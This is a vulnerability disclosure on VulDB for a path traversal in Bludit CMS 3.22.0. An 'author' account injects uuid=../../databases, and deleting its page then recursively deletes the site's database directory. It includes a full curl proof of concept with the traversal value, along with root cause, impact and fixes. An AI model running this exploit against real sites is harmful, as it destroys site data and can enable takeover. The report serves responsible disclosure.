提交 #1053558: Bludit Bludit CMS 3.22.0 (runtime confirmed); 4.0.0-beta-1 (source review) CWE-22 (Path Traversal; specifically CWE-23 Relative Path Traver信息

标题Bludit Bludit CMS 3.22.0 (runtime confirmed); 4.0.0-beta-1 (source review) CWE-22 (Path Traversal; specifically CWE-23 Relative Path Traver
描述Summary ======= Bludit CMS 3.22.0 (and 4.0.0-beta-1) allows an authenticated user with the low-privileged "author" role to delete arbitrary directories writable by the web server. The page creation endpoint accepts a client-supplied "uuid" value without validation, persists it, and Pages::delete() later concatenates it into a filesystem path passed to Filesystem::deleteRecursive(). A two- request proof of concept deletes bl-content/databases, removing site.php, users.php and pages.php, and forces the instance back into the uninstalled state. Affected product ================ Vendor: Bludit Product: Bludit CMS Version: 3.22.0 (confirmed at runtime) 4.0.0-beta-1 (same sink confirmed by source review) Component: bl-kernel/pages.class.php bl-kernel/admin/controllers/new-content.php CWE: CWE-22 Path Traversal (specifically CWE-23 Relative Path Traversal) CVSS 3.1: 8.1 AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Root cause ========== 1. new-content.php line 22 calls createPage($_POST) and forwards the whole POST array to Pages::add(). 2. pages.class.php line 122 generates a UUID only when the supplied value is empty: if (empty($row['uuid'])) { $row['uuid'] = $this->generateUUID(); } A non-empty value such as ../../databases is stored unchanged. 3. pages.class.php line 165 creates uploads/pages/<page-key> as a symlink to PATH_UPLOADS_PAGES . $row['uuid'], again without validation. 4. pages.class.php line 330 deletes the page with: Filesystem::deleteRecursive(PATH_UPLOADS_PAGES . $uuid) With uuid=../../databases the path resolves to bl-content/databases. Prerequisites ============= - Stock Bludit 3.22.0 instance. - One authenticated account with role "author". "author" is the default role for newly created users (users.class.php line 10); if self-registration is enabled, any visitor can obtain such an account. - No administrator interaction, no race condition, no CSRF token bypass. PoC (self-hosted local instance) ================================ Assumptions: Bludit 3.22.0 at http://127.0.0.1:8080, docroot /var/www/bludit, admin password Admin12345. Steps 0-2 are setup; the attacker only needs the author1 account created in step 2. BASE=http://127.0.0.1:8080 DOCROOT=/var/www/bludit # 0. Fresh install (admin password Admin12345). curl -s -c admin.jar -b admin.jar \ -d 'password=Admin12345&timezone=UTC' \ "$BASE/install.php?language=en" # 1. Admin login. T=$(curl -s -c admin.jar -b admin.jar "$BASE/admin/login" \ | grep -o 'name="tokenCSRF" value="[^"]*"' | head -1 | sed 's/.*value="//;s/"//') curl -s -c admin.jar -b admin.jar --data-urlencode "tokenCSRF=$T" \ -d 'username=admin&password=Admin12345' "$BASE/admin/login" # 2. Admin creates the low-privileged author1 account. T=$(curl -s -c admin.jar -b admin.jar "$BASE/admin/new-user" \ | grep -o 'name="tokenCSRF" value="[^"]*"' | head -1 | sed 's/.*value="//;s/"//') curl -s -c admin.jar -b admin.jar --data-urlencode "tokenCSRF=$T" \ -d 'new_username=author1&new_password=Author123&confirm_password=Author123&role=author&[email protected]' \ "$BASE/admin/new-user" # 3. author1 login. T=$(curl -s -c author.jar -b author.jar "$BASE/admin/login" \ | grep -o 'name="tokenCSRF" value="[^"]*"' | head -1 | sed 's/.*value="//;s/"//') curl -s -c author.jar -b author.jar --data-urlencode "tokenCSRF=$T" \ -d 'username=author1&password=Author123' "$BASE/admin/login" # 4. Create a page with a traversal uuid. T=$(curl -s -c author.jar -b author.jar "$BASE/admin/new-content" \ | grep -o 'name="tokenCSRF" value="[^"]*"' | head -1 | sed 's/.*value="//;s/"//') curl -s -c author.jar -b author.jar --data-urlencode "tokenCSRF=$T" \ --data-urlencode "uuid=../../databases" \ -d "title=p1&slug=p1&type=published&content=x&date=$(date -u '+%Y-%m-%d %H:%M')" \ "$BASE/admin/new-content" # 5. Delete the page (the author deletes its own page). T=$(curl -s -c author.jar -b author.jar "$BASE/admin/edit-content/p1" \ | grep -o 'name="tokenCSRF" value="[^"]*"' | head -1 | sed 's/.*value="//;s/"//') curl -s -c author.jar -b author.jar --data-urlencode "tokenCSRF=$T" \ -d 'type=delete&key=p1&tab=pages' "$BASE/admin/edit-content/p1" # 6. Verify. ls "$DOCROOT/bl-content/databases" curl -s -o /dev/null -w '%{http_code} %{redirect_url}\n' "$BASE/" Observed result =============== Before step 5, bl-content/databases contains: categories.php pages.php plugins security.php site.php syslog.php tags.php users.php and pages.php contains: "p1": { ..., "uuid":"..\/..\/databases", ... } The uploads directory contains: p1 -> /var/www/bludit/bl-content/uploads/pages/../../databases After step 5: ls: cannot access '.../bl-content/databases': No such file or directory GET / -> 302 http://127.0.0.1:8080/install.php Control: a page created with the server-generated 32-hex UUID and deleted normally removes only bl-content/pages/<key>; bl-content/databases remains intact. This shows the deletion is caused by the injected uuid, not by page deletion itself. Impact ====== - Arbitrary recursive deletion of directories writable by the PHP process, including bl-content/databases, bl-content/pages and uploads. - Deleting bl-content/databases destroys site.php, users.php, pages.php and security.php, causing data loss and taking the site offline. - With site.php gone, index.php redirects to install.php; the installer is reachable again, which can lead to a full site reset/takeover. - Integrity and availability impact; no confidentiality impact demonstrated. Fix === - Do not accept uuid from POST. Always generate it server-side on create. - If a uuid must be accepted, validate it strictly, e.g. preg_match('/^[a-f0-9]{32}$/i', $uuid), and regenerate on failure. - In Pages::delete(), resolve realpath(PATH_UPLOADS_PAGES . $uuid) and require it to be inside realpath(PATH_UPLOADS_PAGES) before deleting. - Make Filesystem::deleteRecursive() refuse symlinks and re-check containment at every recursion level. Notes ===== Tested on a self-hosted Docker instance (PHP 8.3.35, Linux, Bludit 3.22.0). No public or third-party system was accessed. Full PoC is included above; there is no separate public advisory at the time of submission.
用户
 rise11 (UID 102260)
提交2026-10-23 05時27分 (27 日前)
管理2026-11-18 08時22分 (26 days later)
状态重复
VulDB条目438065 [Bludit 3.22.0 Page Deletion Pages::delete UUID 目录遍历]
积分0

Do you know our Splunk app?

Download it now for free!